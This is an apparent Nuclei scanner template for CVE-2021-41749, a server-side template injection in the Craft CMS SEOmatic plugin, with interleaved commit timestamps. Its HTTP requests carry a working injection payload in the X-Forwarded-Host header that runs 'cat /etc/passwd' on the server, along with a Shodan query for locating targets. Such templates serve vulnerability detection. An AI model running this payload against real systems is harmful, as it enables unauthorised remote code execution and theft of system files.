2023-10-12 10:53:59 +00:00
id : CVE-2021-41749
info :
name : CraftCMS SEOmatic - Server-Side Template Injection
2023-10-12 11:04:02 +00:00
author : iamnoooob,ritikchaddha
2023-10-12 10:53:59 +00:00
severity : critical
description : |
2023-10-12 11:04:02 +00:00
In the SEOmatic plugin up to 3.4.11 for Craft CMS 3, it is possible for unauthenticated attackers to perform a Server-Side. Template Injection, allowing for remote code execution.
2023-10-12 10:53:59 +00:00
reference :
- https://github.com/nystudio107/craft-seomatic/commit/3fee7d50147cdf3f999cfc1e04cbc3fb3d9f2f7d
- https://nvd.nist.gov/vuln/detail/CVE-2021-41749
2023-10-14 11:27:55 +00:00
- https://github.com/nystudio107/craft-seomatic/blob/develop/CHANGELOG.md
2023-10-12 10:53:59 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2023-10-14 11:27:55 +00:00
cve-id : CVE-2021-41749
2023-10-12 10:53:59 +00:00
cwe-id : CWE-94
2023-10-14 11:27:55 +00:00
epss-score : 0.2727
2023-11-09 06:04:52 +00:00
epss-percentile : 0.96295
2023-10-14 11:27:55 +00:00
cpe : cpe:2.3:a:nystudio107:seomatic:*:*:*:*:*:craft_cms:*:*
2023-10-12 10:53:59 +00:00
metadata :
verified : true
2023-10-14 11:27:55 +00:00
max-request : 2
vendor : nystudio107
product : seomatic
framework : craft_cms
2023-10-12 10:53:59 +00:00
shodan-query: 'X-Powered-By : Craft CMS html:"SEOmatic"'
tags : cve,cve2021,craftcms,cms,ssti
variables :
num1 : "{{rand_int(40000, 44800)}}"
num2 : "{{rand_int(40000, 44800)}}"
result : "{{to_number(num1)*to_number(num2)}}"
marker : "{{randstr}}"
http :
- raw :
- |+
GET / HTTP/1.1
Host : {{Hostname}}
X-Forwarded-Host : {{Hostname}}/{{marker}}{{{{num1}}*{{num2}}}}
Cache-Control : max-age=0
- |+
GET / HTTP/1.1
Host : {{Hostname}}
X-Forwarded-Host : xxx{{['cat /etc/passwd']|filter('system')}}bbb
Cache-Control : max-age=0
2023-10-12 11:04:02 +00:00
skip-variables-check : true
2023-10-12 10:53:59 +00:00
stop-at-first-match : true
redirects : true
max-redirects : 2
matchers :
2023-10-13 08:28:39 +00:00
- type : dsl
dsl :
- 'contains(body_1, "/{{marker}}{{result}}") || regex("root:.*:0:0:", body_2)'
- 'contains_any(body, "Craft CMS", "SEOmatic" ,"CRAFT_CSRF")'
- 'status_code == 200'
condition : and
2023-11-09 08:56:13 +00:00
# digest: 4a0a004730450220628e5c9777f0d4d61ac033e80ccc0f4b364e371415e3160b560235688f151a4f022100fa85f2c894890e5e867dc758e09626dc3f0298cd57daa321d0943a1c7360a949:922c64590222798bb761d5b6d8e72950